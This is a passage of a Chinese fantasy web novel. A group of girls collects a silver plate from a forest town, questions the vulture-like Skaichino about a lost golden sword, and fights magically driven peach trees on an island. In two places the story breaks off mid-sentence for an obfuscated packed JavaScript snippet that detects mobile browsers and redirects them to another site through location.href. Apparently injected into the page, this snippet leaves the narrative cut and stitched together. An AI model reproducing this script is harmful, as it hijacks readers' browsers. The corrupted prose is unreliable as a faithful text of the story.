午夜不睡的人只能晒月亮。 “我就猜到你肯定还没睡。”埃弗里说。 安西娅把灯光亮度调暗了一个度,以为是灯光暴露了她,“吃多了,有点撑得慌。” 埃弗里笑了下,切入主题:“进展不顺利么?” “是的,我本来打算明天早餐时再说的——虽然她们对我们的帮助很感激,可每当我提到银片,都会非常为难地转移话题,该怎么拿到是个大问题。” “愿意给,但是不能给,或者有所顾虑吗?” “也有可能是不在她们手里了,给不了……毕竟是魔王的东西,发生什么都有可能。”安西娅说,“我打算明天再打探一下。” 她已经选好打探的目标了。 今天和委员会共同工作了大半天,要说多熟络,那没有,但各人的性格她大致摸清楚了。 唐恩刚过完一百五十七岁的生日不久,正值壮年。她身形健硕,肌肉紧实,大笑时双下巴也会跟着抖动,笑声爽朗。 她独自照看着一家种子店,没有生育过,却很有小孩缘。镇上的孩子是大家的孩子,那些还不到她胸口高的小家伙总是很热情,抱着她的胳膊或者大腿,“唐恩妈妈”长“唐恩”短地闹她,要她陪她们玩。 孩子似乎天生就知道谁对她们招架不来。 最近狩猎季,是一年一度的新鲜玩意,孩子们被转移了注意力,来种子店没那么勤了,让她感到轻松的同时也有点无聊。 种子店的门被敲响了,她打开,门口站着那三个旅客少年中的一个,正笑吟吟地提着一个网兜。 见她看过来,少年把拳头抵在嘴角,笑着说:“镇里预定的海鲜今天正好送到,我帮忙送过来。” “只是送海鲜吗?”唐恩松了口气,“谢谢。” “其实也不只是因为这个,唐恩知道面包房在哪里吗?”安西娅嘴角垂了下去,忧伤地说,“我和朋友们闹了点小矛盾,我们大概不会一起吃午饭了。所以我打算随便拿个干面包啃啃,凑合一下。” 旅店里有厨房;随便敲开镇上的哪一扇门,都不会有人介意留孩子吃一顿饭。 她显然不是为了蹭饭。 十六岁的孩子,连她年纪的零头都不到,表演拙劣,骗不过她。 那少年当然知道骗不过,却依旧笑吟吟的,任她怎么看都异常坦然,笃定她不会拒绝。 唐恩认命地往后退了一步,邀请她进来:“正长身体呢,怎么能只吃面包?不介意的话,就来和我一起吃午餐吧。” 活蹦乱跳的海鲜放进水池,午餐吃鸡尾酒虾、蒸牡蛎和鸡肉奶油蘑菇汤。 唐恩在水池旁挑虾线,安西娅在不远处的小阳台摘薄荷叶,间或夹杂几句闲聊。 “所以,唐恩你其实知道魔王的银片在哪,对吗?” 唐恩不知道“所以”这个单词是怎么理所当然地出现在句首的,就仿佛她们一直在谈论这个话题。 但不是,明明上一句还在讨论牡蛎蒸多长时间味道最好。 “可能有点突然,但感觉比起旁敲侧击,直接说出来会比较好,它对我们来说真的很重要。” 唐恩叹了口气,把挑断的虾线扔进垃圾盒里,“银片确实在我们镇里放着,而且它对我们也没有用处。实不相瞒,今天早上委员会开了个会,结论是可以把它给你们,不过——” “要对我们进行考察?”蒂娜不可置信地问。 “她的原话不是这样,不过基本是这个意思。” 安西娅刚从外面裹了一身寒气回到旅店,正捧着热茶,坐在壁炉旁取暖,声音也懒懒的。 “我们要做试卷吗?” “不,没那么复杂,她让我们该做什么做什么,等我们离开那天,就会决定要不要把银片给我们了。” 唐恩还特意强调,和她们对镇子里的帮助没有关系,无论是忙进忙出脚不沾地,还是躺旅店什么都不做,对结果都毫无影响。 “那到底是在考察什么?” 搞不懂,但目前只能先这么做了。按照计划,她们会在镇子里逗留四天,等到了第三天晚上,她们被叫到了狩猎像下。 唐恩把一个巴掌大的金属盒交给安西娅,“打开看看吧,你们需要的银片是这个吗?” 安西娅接过,小心打开。里面只有一个薄薄的银质金属片,没有任何纹理,其貌不扬。 克雷尔觉得有点眼熟,一时半会想不起在哪见过,仔细想了想,是银片的形状有点像扑克牌里的黑桃。 三个人拿着银片看了又看,反复确认。 “没错,确实是预言里的那个。不过可以轻易就给我们吗?” “本身也不是我们的东西,只是寄存在这而已,把银片给我们的人说,会有三个人过来把它拿走。” 三人你看看我,我看看你。 “本来应该直接给的,但你们是四个人,所以我们犹豫了。” “原来如此,多谢你们保存着它。” “没什么好谢的,把它交出去,我们也松口气。那个人把东西给了我们的祖辈,当时都以为只是过段时间就会有人来拿,没想到居然过了这么多年。” 埃弗里赞同:“是啊,已经过去上千年了。” 唐恩欲言又止。 安西娅敏锐地追问:“是埃弗里的说法有问题吗?” “没什么,我只是在……”唐恩卡壳,努力措辞,挣扎片刻后选择放弃,实话实说:“事实上,我们并没有保存千年那么久。那个人是八百年前交给我的祖辈的,但她说,如果对你们提起,就一定要在原本的基础上加一百多年。” 几人互相对视了一眼,都看出了彼此心里的担忧。 预言画于一千年前凭空出现,非本土产物,预言纸是土著人翻译出来的,时间差不多是在八百年前。 预言纸上说魔王拥有银片,如果想找到魔王,银片是非常重要的道具,但预言画中没有出现银片的形象。 她们本来以为,银片在预言画上的文字里有提及,只是她们看不懂文字而已。 现在时间上出现了疑点,三人不得不开始思考,预言纸“翻译”出的东西到底是真是假。 “说到底,银片根本没有在画里出现……我想我们可能太相信那张纸了。”埃弗里低声说。 安西娅拍了拍她的肩膀,“幸好你已经把画的内容背下来了,接下来我们按照画上的内容行动就可以了。” 新的问题又出现了。 画里没有展现她们一路上的经历,几个空镜之后,就到魔王大本营了。读者只能通过人物脸上的汗水,得出这一路上不轻松的结论。 埃弗里表情凝重:“先走一步看一步吧,我们现在的路线是那张纸给的,而且只有一站路了,预言纸是真是假,看我们最终能不能找到魔王城堡就知道了。” “下一站是斯凯奇诺的城?” “对。” 要去斯凯奇诺就必须提前准备,其中最重要的一点,要换上色彩鲜艳的衣服。 怎么能把这个忘了呢?安西娅对唐恩说,想要借几件成年人的衣服,颜色越显眼越好。 “是克雷尔需要吗?这个倒不难。” 本身森林附近的人,为了在森林里迷路时,及时被搜救者发现,以及应对大雾天气,衣物大多是鲜亮显眼的颜色。 “我记得夏洛特和她身形差不多,应该能穿,我一会儿帮你们去借吧,红色加绒外套可以吗?” “可以的,但不需要太厚,那边的冬天不怎么冷。” 唐恩低声忖度:“不冷……鲜艳的衣服……你们是要去斯凯奇诺的城?离镇子最近的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559896|171361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个?” 三个少年没怎么出过远门——指跨越半个大陆的那种,纷纷看向克雷尔,克雷尔点头,“对,是那里。” 说是最近的,却也足足要走上三天两夜才能到。 斯凯奇诺直译是秃鹫群,她们是生活在天空中的智慧种族,一年中踏足陆地的时间,加起来只有十天左右。 大陆上星星点点地分布着她们的“城”,是她们在地面上的据点。 在这片大陆上的陆地种族中,存在聚集区与村、镇,大多是小型居住区。很少有更大规模的,更不会有被墙围起来的“城”。 城只属于大陆以上的天空种族。 唐恩思索了下,“如果不急,可以再在镇子里呆几天,等狩猎季结束,镇子里也要派人去那里交易,可以陪你们一起。” 她们确实有点急,本来不急,只是现在必须抓紧时间确认预言纸的真实性,恨不得马上飞到魔王城去。 埃弗里说:“没关系,我们有克雷尔这个成年人陪着。” 唐恩再度欲言又止。 不是她不信任克雷尔,而是听几个孩子的话,她们拿到了银片,但可靠性存疑,“那张纸”也有疑点; 而且她们没准备克雷尔的衣服,显然她是后来加入的……好吧,她确实对克雷尔不太放心。 蒂娜:“克雷尔是我们的朋友,是好人,你可以放心!” 克雷尔下意识皱眉,却也明白不该在这种时候发出质疑扫兴。 唐恩笑着说:“也对,克雷尔毕竟是协会的成员。” 异常生物魔法研究协会的涉猎面极广,她们研究很多东西,异常事件、各类生物、各种魔法——异常/生物/魔法/研究协会,这才是正确的断句方式。 涉猎面广,理所当然的,协会成员也很多。 克雷尔隶属于魔法分支。该分支下的理论魔法部门里,有几个斯凯奇诺是常驻成员。 “她们真的像书上说的那样,性情高傲吗?我们学校偶尔会聘请她们,但从没有学生能和她们说上话。”埃弗里说。 越是靠近斯凯奇诺的城,三个人就越发忐忑,她们从来没有和天空之上的种族打过交道,唯一了解的渠道是书本,然而上面写斯凯奇诺性格孤傲冷漠。 “不清楚,我属于实战部门,平时没有和她们接触过。” 蒂娜:“书上说的也不一定是真的,上面还说斯凯奇诺不擅长魔法呢,实际上人家都进魔法部门了。” 埃弗里:“这也不能说明什么,协会的入会考察很严格,但考察项目里不包括天赋筛查。” 协会有很多项规定,也没有哪一条说,不擅长魔法的人就不能研究魔法。 蒂娜向克雷尔确认。 “确实没有,另外,考察也不严格。” 所谓考察也只是品行审查,目的是防止有人利用协会做坏事,进了协会,只能说明那个人人品还过得去而已。 “什么嘛!结果还是什么有用的信息都没有。” “这也没办法,本来天空与陆地的种族就很少有交流的机会。”安西娅安慰她,“至少我们知道要换衣服表示友好。” 两个陌生人见面,想要顺利交谈,双方都需要释放友善的信号。 斯凯奇诺有着秃鹫一样的翅膀、爪子和喙,她们在天空中捕猎,在飞行中休憩,陆地上的城是她们的厨房和仓库。 因此很容易理解,为什么只有斯凯奇诺拥有“城”。 因为那是一个巨大的私家后厨。 她们把抓到的猎物放在那里,有专人守卫,轮班人员会对猎物进行处理,一部分丢进冷库,一部分烹饪成方便抓握的食物。 她们要进人家的厨房,还要翻箱倒柜找东西——据说她们要找的金剑,就埋在城里的某个地方,具体位置不明——就必须遵守别人的规矩。 斯凯奇诺拥有鸟类的视觉神经,她们对色彩的感知能力同样很强,却并非和鸟类完全相同。 在她们眼中,穿上色彩明亮的衣服代表着示好,“你看我主动暴露在你们的视野之中,我没有敌意”。 但也不能太亮,否则就是“看我闪瞎你们”,是挑衅。 暗色调的衣服,如黑色夜行衣等,在她们眼里起不了隐藏的效果,只会让你看起来偷偷摸摸,引人警惕。 虽然克雷尔穿黑色只是因为现在是冬天,黑色吸热。 临近城墙,远远地就看到了守卫,两个浮在离地一米高的半空中,其中一个用翅膀尖撑着额头,动作有点像扶额,似乎正在苦恼。 另一个体型比她小很多,爪子勾着一本线圈笔记本的线圈,飞在旁边,正不停地说话。 大斯凯奇诺把头转向另一边,她就立刻快速扇动翅膀,也飞过去,继续说,时不时晃晃线圈本。 靠近了才发现,那是一个幼年斯凯奇诺,看起来也不过四十岁左右。 人类和精灵相似,都是生长发育迅速、十几年就能达到亚成年体型,并以这个状态度过漫长的未成年时期。 斯凯奇诺则完全不同,她们的成长更有规律,生长发育情况和年龄相匹配。她们一百二十岁成年,四十岁的斯凯奇诺体型,差不多只有成年同族的三分之一。 不像人类精灵,十几岁的未成年和成年人站在一起,根本区分不出。 那个幼年斯凯奇诺,似乎还没学到怎么判断其她种族的年龄,看到她们过来,高兴地说:“太好了,是四个成年人类和精灵。” 显然误会了。 还不等她们解释,她就已经飞到了面前,语速飞快:“世界的本质是什么?” 蒂娜条件反射回答:“是卡兹奥尔和佩洛西的玩具球。” 5. 秃鹫的城 世界是个虚无的球体,漂浮在宇宙中,除了盘旋其上的双头巨蛇,一无所有。 一个蛇头拥有全黑的瞳孔,另一个蛇头拥有全白的瞳孔;一个叫卡兹奥尔,另一个叫佩洛西;一个掌管黑夜,另一个控制着白天。 黑蛇睁眼时,世界便陷入黑暗,白蛇睁开眼,白昼就降临了。 月亮有阴晴圆缺,流动与变化是夜晚的固有属性,太阳亘古不变,日日如此,永恒与规律是白昼的特质。 所以佩洛西掌管着白天与真理,卡兹奥尔控制着夜晚和时间。 但这并不固定。 不只有太阳恒久不变;日升日落同样能彰显时间的流转,日与夜也会在某一瞬间交汇。 某一天,卡兹奥尔和佩洛西同时睁开了眼睛。 在那一瞬间的光芒里,诞生了最初的母神,阿卡姆托。 意为混沌无知的神。 一片虚无的世界,和它无知的神明。 她诞生时只是个婴儿,对一切都没有概念的婴儿在空白中爬行,于是“空间”诞生。 她呼吸,然后“空气”开始流动。 在她发出咿咿呀呀的音节后,世界才有了声音……她肆意挥洒着她的神权,无知无觉地创造。 当她创造的所有物种体内,都充斥着她的神力,她就变得和自己的造物别无二致了。 如果她的造物、她的孩子不是神,那她当然也不是。 在最后,她把自己仅余的一点神力抛向天空,天空如同被撒了墨点的画布,几次激荡,墨点四溢,具象出天与地的分界线。 然后她走向她们,走入她们之中,成为了这世上万千物种无数面孔中的一个。 创世史自此结束,魔法时代开启,如果有人说想知道世界的本质,就必须从这两个方面同时着手。 蒂娜只是在胡说,斯凯奇诺小孩似乎真的信了,得到答案就立刻飞走了,只留下摸不着头脑的四人组。 “果然是高傲的种族,连一句话都不多和我们说。” 完全搞不明白,为什么她会突然问这个。 “不用管她,来登记。”那个成年斯凯奇诺冲她们喊。 和幼年体相比,成年斯凯奇诺的翅膀更大,更雌壮,完全展开时,可以将城门完全遮蔽住,紧密排列的背羽,在阳光下反射出金属的冷厉光泽。 她的脖子很粗壮,喙却极为尖锐,带着弯钩,发出的声音仿佛是被挤压出来的,尖利高亢。 如果声音有实体,那她的声音一定是把锥子,能清晰地感受到锥子的尖头快速划破空气,然后砸在她们身上,硬邦邦的。 简单登记之后,她拿出四份地图,和四只[踪影]。 “一次性定位器,绑身上,出城会自动销毁。虽然城建在陆地上,但我们都是飞,而不是走路,所以城的内部构造和你们的完全不同,很危险。跟着地图走。” 完全不同的生活模式,造就了完全不同的居所构造,适配天空种族的设施,对陆地种族来说,却充满危险。 这是斯凯奇诺设置围城,并派人把守的重要原因。谁也不想看到,天真的陆地小孩进城玩,却不慎受伤或是丧命。 构造不一样,这让埃弗里产生了好奇心,她们是飞的,那厨房的刀具是浮在半空中吗?——为了方便她们操作。 那样的话确实很危险。 还有刚才的孩子,她爪子上是线圈本。 据埃弗里所知,她们从不用纸写东西,因为传统的笔不适配斯凯奇诺的生理结构,可她爪子勾着的确实是线圈本。 埃弗里知道现在不是该想这些的时候,她暂且压下好奇心,说:“我们并不是要从城里穿过去,我们是来找东西的,你听说过——” 斯凯奇诺的脸几乎是立刻冷漠下来,粗鲁地打断提问:“没有,城里没有你要找的东西。” 埃弗里有些不知所措。 “好的,我们知道了,”安西娅代替她站在斯凯奇诺面前,“我们不会在城里寻找东西了,不过还是想打听一件事,你听说过魔王的金剑吗?” 斯凯奇诺不假思索地回答:“没有,从没听说过。” “好吧,或许你的长辈听说过?虽然有些叨扰,但请看在我们刚才为你解决了一个烦恼的份上。得到答案,我们会立刻离开的。” “好吧,”斯凯奇诺不情愿地说,“看在你们帮她做了作业题,让她不再烦我的份上。” “那是作业题?!”蒂娜惊呼,面对守卫疑惑的表情,干笑两声,“没事,没事,我容易大惊小怪,天生的,天生的。” 她立刻转头,压低声音对着同伴,“坏了,我们必须在她们发现那是我胡说的之前,问到金剑的下落,然后马上溜!” 埃弗里:“没那么夸张,根据我的经验,那是一道开放题。” “那就好,开放题答案别太离谱就行,我的答案也不是很离谱……不离谱对吗?” “……………………………………………………………………………………………………………………嗯。” “不要给我沉默那么久!” 身后传来一道熟悉的笑声,是安西娅,蒂娜马上忘记了刚才的恼怒,连忙追问:“怎么样?问到了吗?” “她仔细回忆了一下,没有任何印象,但她说我们可以去问图书馆管理员。” 埃弗里:“她们似乎只有厨房是在陆地的?” “是的,但她们的图书馆也不在空中。”原本一直沉默着的克雷尔说,“准确的说,她们的图书馆不是实体,斯凯奇诺不擅长魔法,与之相对的,她们的其她技术极为发达。” 克雷尔不知道该怎么形容那种技术,只能含糊带过。前世似乎有好几个词语可以恰当的描述,只是她一时记不起来。 “还不如在空中,至少我们能想办法飞上去。” “不用担心,她给了我们这个。”安西娅摊开手,掌心躺着一粒豌豆种子一样的东西,“我们找个空地吧。” 几人到了一块开阔的地界,安西娅把豌豆捏碎,瞬间,眼前凭空而起一个5层楼高、颇为壮观的……云。 云朵浮在半空中,上有一个黑点,黑点绕着云体转了一圈,什么也没找到,于是俯冲而下,收敛羽翼,落在四人面前。 是一个年老的斯凯奇诺,她拥有一身深褐色、带有斑点的羽毛,覆盖在双腿上的绒毛是黑色,爪子和喙的根部有些白色的竖纹,却依旧有力。 她缓慢地扇动着翅膀,看起来威严而难以接近,“人类和精灵,你们想借什么书?” “我们不借书,想打听一样东西,魔王的金剑,你有听说过吗?” “从没听说过。” “那几百或者上千年前,就在这里,有一个非斯凯奇诺的人,想请求你们保存一把剑……这件事图书馆里有记载吗?” 年老的斯凯奇诺有些不耐烦,“秃鹫的图书馆不记那种没用的东西!” 她话锋一转,“但这件事我有印象,那真是一把巨大的剑。” 眼看有了线索,安西娅松了口气,“对对,就是那把剑,你知道它现在在哪吗?” “扔了。” 安西娅的笑容僵在脸上。“扔了?” “对,扔了。我们对玩具不感兴趣,世界上最强大的武器是我们的爪子和喙。” “才不是,最强大的武器明明是我们的——” 埃弗里捂住蒂娜的嘴,问:“可以问下扔到哪里去了吗?” “不知道。” 没等她们重复这句话,老斯凯奇诺就解释说:“不是我们扔的,是那个人看我们不收,自己扔的,所以不知道她扔哪去了。” “好吧,还有最后一个问题,这件事发生在800年前?” “对。” “她还让你们告诉我们,是发生在1000年前。” “没有,因为我们拒绝了她,她直接走了。” 蒂娜气愤地说:“又是八百年前,预言家是个骗子。” “都快到了,不管怎样,先确认一下魔王的真假,如果是上当受骗了还好,只当是旅游了,就怕是真的。” “可是金剑被扔了,我们连个线索都没有。” “如果是那个人苦心布的局,想引导我们去找魔王,她不可能真的扔了。” 她们又和斯凯奇诺交谈了一会儿,果然得到了新的线索,“那个家伙小心眼,被拒绝了,就在城墙上乱涂乱画,印记至今消不掉”——老年秃鹫是这么说的。 几人绕着城走了一圈,什么都没发现,只好放慢脚步再走一遍,这次还没走到一半,就注意到了墙壁上一个非常小的图画。 是一局未完成的石子棋。 埃弗里不确定地说:“难道把棋下完,金剑的地址就会自动浮现?” 蒂娜已经摩拳擦掌,开始下棋了,埃弗里负责记录每一步的棋路,以待复盘。 一局棋下了将近两个小时,总算结束,眼见时间已经接近中午,大家干脆就在这里吃起了午饭,边吃边研究棋盘。 安西娅问:“蒂娜,想获胜是不是只有你那一种思路?” “当然了,像我这样的石子棋天才,也只能想到这一个破局方法。” 安西娅招呼大家来看:“蒂娜一共下了四十三颗棋子,把它们连在一起,恰好可以连成一条线,说不定是寻找金剑的路线。” “不太可能。过去了几百年,这里的布局早变了,就算路线以前是对的,现在也不可能导向正确的方位了。”埃弗里摇头。 “那个预言家也不是傻子,都能骗我们了,不会能想不到城中格局变迁。棋盘指向的,肯定是某种起码千百年不会变的东西。” 这倒也是。 大家继续盯着棋盘思考。 午饭吃到一半,安西娅再次开口,这次她的语气更为肯定:“你们看棋子的形状。” “不规则形,每个都不一样。” “我是说棋子总体拼成的形状。卡拉石的,和其她石子的,把它们分别当做一个集体……形状恰好是大椭圆怀抱着一个小椭圆。” “这个形状……”埃弗里显然想到了什么,掏出地图,指给她们,“看,是科尔西洛湖。” 现在高兴还为时太早。首先要确定这个湖是八百年前就长这样,还是后来演变的,别搞错了。 克雷尔说:“科尔西洛这个名字一千年前就有了。” 这就对了。科尔西洛意为母子,显然是根据湖的形状命名。 她们现在所处的位置是大陆的左侧山脉,以少雨少旱、气候稳定著称。 无论春冬,天空总是蓝得像是一块没有气泡的水果硬糖,云几乎不会流动。阳光在冬天还是夏天都毫无分别,牛羊在四季长青的草地上,慢吞吞地甩尾巴。 几百年不发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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只要是书写篆刻,哪怕有意混淆,本身的用笔习惯、下笔力度也很难轻易改变。 现在事情已经显而易见了,每个石碑上面都刻有一个问题,而在她们面前的这个上面写着——“卡兹奥尔的职责是哪两项?” 蒂娜抱怨,“我为什么要在假期里复习功课?” 埃弗里从背包里找了把小刀,刻字:“时间、夜晚。” 石碑没有任何反应。 说不定要把十三个问题全部回答一遍? 第二题,“阿卡姆托用什么办法,让世界上第一个动物获得移动能力?” 埃弗里继续往上刻答案,“维度跨越。” 第三题、第四题……十三道题几乎都全都是创世史的,而且都很基础。 全部刻好之后,石碑们依旧没有反应。 “这些石碑年久失修,上面附加的魔法失灵了?”安西娅只能想到这个可能。 “说不定是有人提前拿走了金剑,这些题目太简单了。”埃弗里有些担心。 刚上岛时,克雷尔简单探查了一遍,岛上确实存在魔法气息流动的痕迹,但不在石碑上。 只是她还没想好,要不要告诉她们。 她可以用魔法帮小镇上的人维修家具,因为那只是机械劳动,即使没有她的帮助,埃弗里多花两天也能完成。 和现在的情况不一样。 “先休息会儿吧。”她说。 安西娅赞同,“我们已经忙了一整个下午了,克雷尔没说时没感觉,但现在确实又累又饿,我们先吃点东西吧。” 将近傍晚,光线暗淡,埃弗里把魔法灯挂在桃树的树枝上,支起锅,就着灯光准备晚饭。 蒂娜摘了一些冬树莓,一部分作为今天的餐后水果,一部分装起来,作为给放牧人的回礼。 克雷尔把手放在桃树上,轻声说:“桃木用作烧烤也挺不错。” 声音太小,只有蒂娜没听清,转头问她说什么,除此之外,没人对她这句话做出回应。 “没什么。”克雷尔说,过去和安西娅一起拆分肉食。 天黑得出奇的快,埃弗里只觉得被谁的影子挡住了视线,头也不抬地说:“安西娅,往旁边去点,不要挡着光了。” “我没挡,克雷尔可以替我作证。”安西娅很冤。 埃弗里抬头看过去,是几支光秃秃的树枝挡住了灯。 可她之前特意把灯挂在了最前面的树枝上,不会被挡住。 蒂娜捧了满怀的莓果回来,见她们都盯着树看,也不明所以地看过去,表情逐渐变得凝重,不确定地问:“这个树,还有别的树,刚才就在这里吗?” 什么? 安西娅和埃弗里都露出了惊疑不定的神情。 因为埃弗里执意要喝热汤,所以她们特意在林中选了个开阔的空间,做煮汤吃饭的地方。 她们身在其中,或许没办法察觉,可是刚从外面回来的蒂娜却注意到,这里已经变得拥挤不堪了。 那些桃树的树干,原本绝对没有紧挨着她们的锅具,安西娅也绝不可能把地垫铺得皱皱巴巴,堆在树根处。 它们离她们变近了。 “树在动!?” “事实上更糟!它们不止在动,而且动的速度明显在变快。” 其实蒂娜回来的路上,就已经隐约感觉树变密集了,当时只觉得天变黑了,是影影绰绰的树枝带来的错觉。 现在看来,是它们在向内包围她们。 6. 坏消息:被追杀了 该怎么形容她们现在的情况呢? 埃弗里小时候看过一本绘本,她现在年纪也不大,所以能够很清楚地记得里面的情节。 小熊在家门口种了一颗樱桃树,春天樱花盛开,初夏她吃到了美味的樱桃,秋天和飞舞的落叶做游戏,可是冬天到了,她的小伙伴樱桃树,变得光秃秃的,也不再回应她的呼唤。 她难过地哭了起来。 这时樱桃树弯下腰,用树枝摸了摸她的脑袋,和蔼地说:“不用为我难过,春天开花结果,冬天凋零,这是遵循时间变化的自然规律啊。等到春天,我就又会变得像以前一样,又能和你一起玩了。” 绘本的配图非常唯美,说不定那是个很治愈的童话故事,但埃弗里无法理解。 她看了好几遍都无法理解。 为什么小熊会说话?为什么樱桃树也会说话?为什么樱桃树还能摸小熊的头? 后来埃弗里明白,那只是一种夸张的表述方式,树和熊都不会说话,所以要拟人化帮助小朋友理解。 可是现在,她该怎么理解桃树正说着话追杀她们这件事呢? 说追杀不太准确。 它们只是不停地说着“成为和我们一样的树吧,想结软桃结软桃,想结硬桃结硬桃”,然后攻击她们。 在它说第一遍时,安西娅即使在惊讶中也及时作答,“感谢好意,很遗憾我不爱吃桃子,我是苹果派。” 蒂娜嘴比脑快,“我是香蕉饼,呸,我才不是饼,我也不会是树!” 但当所有树都在不停地喊着这句话时,已经没人愿意回复它们,在口舌上耗费仅剩不多的精力了。 她们没能吃上晚饭,现在还忙着躲避桃树的攻击,疲惫写在每个人的脸上,说不定很快,她们就会无法应对它们的攻势。 现在已经很困难了,包围战术,她们在圈里可发挥的空间不大,往上跳到树枝上?那是自投罗网。 “你们怎么样?” “我还好,幸好我偷吃了很多莓果,”蒂娜大口喘着粗气,“不过也好不了太多,我不要变树,树动都动不了!” “事实上树是可以移动的,在几种特殊情况……” 安西娅打断:“埃弗里,我很乐意听你的魔普知识,但还是等我们出去之后吧。克雷尔,你怎么样?” 三人背靠着背,往四周张望,发现克雷尔正坐在其中一颗桃树上,一动不动,就和第一次见面时一样。 没有桃树攻击她。 看来是再次隐匿气息了。 安西娅若有所思,看来克雷尔认为现在还不算是危机时刻,认为她们可以自行解决。 还来不及思考如何破局,眼前的桃树,突然发生了肉眼可见的变化,枝丫上抽出绿芽,粉白色花瓣快速绽放,而后脱落,取而代之的,是一个个正在迅速膨胀的桃子。 它们在疯狂开花结果。 桃树没有骗人,它们确实是想结软桃结软桃,想结硬桃结硬桃。 软桃砸在仅剩不多的地面和树根上,软烂如泥,让人很难站稳。硬桃被当做远程攻击武器,不停地向她们抛掷。 埃弗里又一次体会到那种无法理解的心情。 冬天开花结果,这根本不遵循时间周期和自然规律! “时间,”埃弗里脑子里的某根弦突然绷紧,她不停地低声重复这个单词,仿佛这就是破局的关键,几个呼吸的间隙之后,她猛地抬起头,双眼闪烁着明亮的光芒, “时间,属于它们的时间混乱了!” 而她们做的第一道题就是关于掌管时间的卡兹奥尔。 第二题是关于怎么让动物移动的阿卡姆托。 看到桃树移动时她就应该想到这个的!她早该想到的! 是“距离”维度! 阿卡姆托赋予了动物自主跨越距离维度的天赋。 植物没有这个天赋。 一些说是能移动的植物,本质上也不是自移动,而是受外力影响,比如一棵树被巨风吹到了另一边,能说它是有自由移动的天赋吗? 显然不能。 即使是现在的阿卡姆托,也无法再赋予它们移动的天赋,在她把创世神权分发给所有种族之后,她就已经不是神了。 只有一个可能。 它们也是被移动的。 不过比起被风吹走,更像是在“花盆”里安装了自动追踪系统,在追着她们跑。 只要摧毁了“花盆”,就可以结束这场追逐战。 想通了这点,连桃树会说话都不令她惊讶了——只是重复同一句话而已,她可以立刻说出十种这类魔法的名称。 而它们的疯狂开花结果……虽然时间魔法不能运用在活物上,但“催熟”可以做到。 埃弗里顿时觉得眼前拨云见雾,一切都明朗了。 不是变异,也不是灵异,一切都可以用魔法解释。 “这些树没有自我意识,是被魔法操控的,那些桃子也只是在乱扔而已。” 它们随机地投掷桃子,根本没有区分,软桃扔在地上,也是因为扔不准,而不是什么让她们脚滑的计谋。 埃弗里飞快地说了自己的猜测,三人转守为攻,齐力攻击桃树的树根,“花盆”的位置很好判断,树根以下就是了。 桃树数量很多,很难一次性解决。但拜它们的包围战术所赐,只需要把最内圈的桃树“花盆”打破,内圈桃树动不了,后面的桃树也挤不进来。 虽然桃树还在不停地攻击,向她们投掷软桃、硬桃,不过属于站桩输出,攻击面有限,可以被轻松应对。 埃弗里接过扔过来的桃子,用手擦了擦,咬下一大口。体力消耗得太快,正好补充一下。 理论上应该洗洗再吃,可它们生长得太快,还来不及沾上脏东西,就彻底成熟了。 催熟效果立竿见影,然而几乎不会有人把它用在果树上。由于缺乏光照,糖分无法累积,水果口感奇差,淡而无味,和喝水没区别。 “这样下去也不是办法,我们总不可能等它们自己停下来吧。” 催熟只是加快生长进程,消耗的还是土地里的营养,除非桃树把它们所能摄取到的营养,全部都消耗殆尽,否则不可能停下。 等她们拿到金剑走后,这些桃树还在到处扔桃子,等它们不扔了,这片岛已经因为土壤贫瘠彻底废了。 安西娅看向埃弗里,埃弗里摇了摇头,安西娅思索片刻,站起身看向树上,“克雷尔,虽然现在并不危机,但是我们没办法破解催熟。” 那是高年级的课题,而且是非常冷门的内容,她们还没学到那里。 克雷尔摇了摇头,“我帮不了你们,我不研究生物类的魔法。” 这话是真的,催熟的破解确实有难度。 根据克雷尔多年的漫画经验,如果预言是真的,真选中了三个十几岁的孩子,如果埋金剑的人真的想让她们找到魔王,就不可能设置远超过她们能力的难题。 克雷尔想了想,说:“即使是用时间魔法,也没办法把桃树变回被触发前的状态。” 完全是句废话。每个人都知道时间魔法起不了作用。 埃弗里和安西娅对视一眼,顿时明白她们心里在想同一件事,克雷尔说的话更像是某种提示,“被触发”三个字是关键。 一时间桃树林里异常安静,只剩下桃树还在不停地“想结软桃结软桃,想结硬桃结硬桃”。 ——破解这个疑似录音播放的魔法不难,但树太多了,现在没人想额外消耗体力。 蒂娜捂住耳朵:“也就是我们!如果换了别人,万一再是孤身一人过来,遇到这种危机,可怎么办?” “如果是别人,大概就不会遇到这种情况了。”安西娅说。 如果岛上有桃树成精,到处破坏,追杀路人,协会早就安排人过来处理了。 还有一个更有说服力的例子。放牧人经常来这边摘野桃野果,从来没有遇到过这种情况。 总不可能是她们运气差吧。 触发机制是什么?她们和她的区别在什么地方,她们是4个人?她们是被预言选中的?她们来了之后,在石碑上乱刻乱画了? “是银片,”埃弗里说,“虽然我不确定,但我觉得应该就是。” “不,确实是银片。”安西娅笃定地说。 在埃弗里提出这个猜测之前,安西娅没往这方面想过。 要问她为什么那么肯定,是因为她在埃弗里说出第一个字后,就马上转头,紧盯着克雷尔,见克雷尔表情有所改变,这才确信。 “是我们身上的银片,与它们产生了某种呼应。” 金剑银片,听起来就是一个组合,金剑应该就在这片岛上,而银片在她们身上。 安西娅从裤袋里拿出银片,它沉默地躺在她的手心,看上去没有任何异常,而那些桃树的状态也没有改变。 “我们该……呃,怎么使用它?” “不清楚,先找个隔绝魔法的盒子把它装起来?应该能管用,如果是它触发了那些桃树上的魔法的话。” 拜桃树所赐,她们的锅碗瓢盆碎了一地,汤也洒了,餐布浸在汤里,不能再用了,原本放在一起的包裹散得到处都是,唯一值得庆幸的是,东西都还在。 她们没有带隔绝魔法的盒子,不过埃弗里想起她有一双绝缘手套,为了收起长时间工作的魔法灯时不被烫到。 